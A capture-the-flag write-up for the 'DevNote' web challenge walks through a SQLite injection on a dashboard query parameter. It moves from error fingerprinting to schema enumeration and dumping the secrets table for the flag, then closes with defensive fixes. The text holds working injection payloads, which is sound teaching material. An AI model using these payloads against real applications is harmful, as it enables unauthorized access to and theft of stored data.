Back to KPMG CTF 2026 Campus Edition
DevNote (Web) - Writeup

DevNote (Web) - Writeup

Oct 12, 2026 3 min readWriteup 22 of 22
On this page
  1. 1.Challenge Overview
  2. 2.Step 1: Fingerprint the Parameter
  3. 3.Step 2: Confirm Expression Evaluation
  4. 4.Step 3: Enumerate the Schema
  5. 5.Step 4: Dump secrets.data
  6. 6.Summary
  7. 7.Key Takeaways

Challenge Overview

EventKPMG CTF 2026 Campus Edition
ChallengeDevNote
CategoryWeb
Points10
Targetkicyber-...-devnote-0-0.chals.io

"Are you privileged enough to get the flag?"

DevNote challenge card

The dashboard logs us in as guest and is honest about the target: "Only admin should have access to sensitive data," plus a "Dev Query Interface (internal use): /dashboard?q=". The prompt's "privileged enough" and that note both point the same way, the flag is sensitive data in the database, and the q parameter is the way in. This is a black-box SQL injection challenge: probe q, read the output, let each result choose the next payload.


Step 1: Fingerprint the Parameter

Feeding a bare word tells us a lot. ?q=data:

q=data → no such column: data

no such column: data

Our input is being treated as a column identifier inside a SQL query, not as plain text. A quote, ?q=':

q=' → unrecognized token

unrecognized token: "'"

So q is injected straight into a SQL statement and errors are reflected back, ideal conditions. The "no such column" behaviour suggests the backend does roughly SELECT <q>, evaluating whatever expression we supply.


Step 2: Confirm Expression Evaluation

If q is evaluated as a SQLite expression, functions should work. ?q=sqlite_version():

q=sqlite_version() → 3.46.1

[{'sqlite_version()': '3.46.1'}]

Confirmed: it's SQLite, and our input runs as an expression (arithmetic like 1+1, string literals, and scalar subqueries (SELECT 1) all work too). That means we can embed read-only subqueries to pull anything out of the database.


Step 3: Enumerate the Schema

SQLite keeps its schema in the sqlite_master table (a bare sqlite_master fails because it's parsed as a column, so wrap it in a subquery). List the tables:

?q=(SELECT group_concat(name, ',') FROM sqlite_master WHERE type='table')

Tables: users,secrets

users,secrets

Two tables, and secrets is the obvious lead given the "sensitive data" note. Now the columns, via pragma_table_info():

?q=(SELECT group_concat(name, ',') FROM pragma_table_info('users'))
→ id,username,password

?q=(SELECT group_concat(name, ',') FROM pragma_table_info('secrets'))
→ id,data

pragma_table_info columns

So secrets has id, data, the data column is where the flag almost certainly lives.


Step 4: Dump secrets.data

Read every row's data, joined so it comes back in one response:

?q=(SELECT group_concat(data, ' | ') FROM secrets)

secrets.data → flag

KPMG_CTF{2-zN9hgTCGlzbxRufhj8HtEFVD1gggiogLGmRaquW-XK}

The author simply stored the flag in the secrets table, exactly what a guest was never supposed to reach.


Summary

StepPayload (q=)Result
1data / 'Input parsed as SQL (column / token errors)
2sqlite_version()3.46.1 → expression evaluation, SQLite
3(SELECT group_concat(name,',') FROM sqlite_master WHERE type='table')users,secrets
3(SELECT group_concat(name,',') FROM pragma_table_info('secrets'))id,data
4(SELECT group_concat(data,' | ') FROM secrets)Flag

Key Takeaways

  • Let error messages fingerprint the backend. no such column: data and unrecognized token: "'" revealed both that input was concatenated into SQL and that it was SQLite, before any real payload.
  • Expression context still lets you read everything. Even though q is just a scalar expression (not a full UNION-style injection), scalar subqueries (SELECT ... FROM ...) reach any table. A narrow-looking injection point is rarely actually narrow.
  • sqlite_master + pragma_table_info() are the SQLite recon pair. List tables from sqlite_master, list columns from pragma_table_info('<t>'). Wrap them in subqueries so they aren't parsed as identifiers.
  • Don't reach for OS/file-write exploits first. The challenge warned about data access; the database held the flag. Match your technique to the hint instead of trying command injection blindly.
  • Fixes: never evaluate user-supplied SQL, delete "dev query" endpoints from production, use parameterized queries, enforce server-side authorization on sensitive tables, and stop reflecting raw DB errors to users.

Flag: KPMG_CTF{2-zN9hgTCGlzbxRufhj8HtEFVD1gggiogLGmRaquW-XK}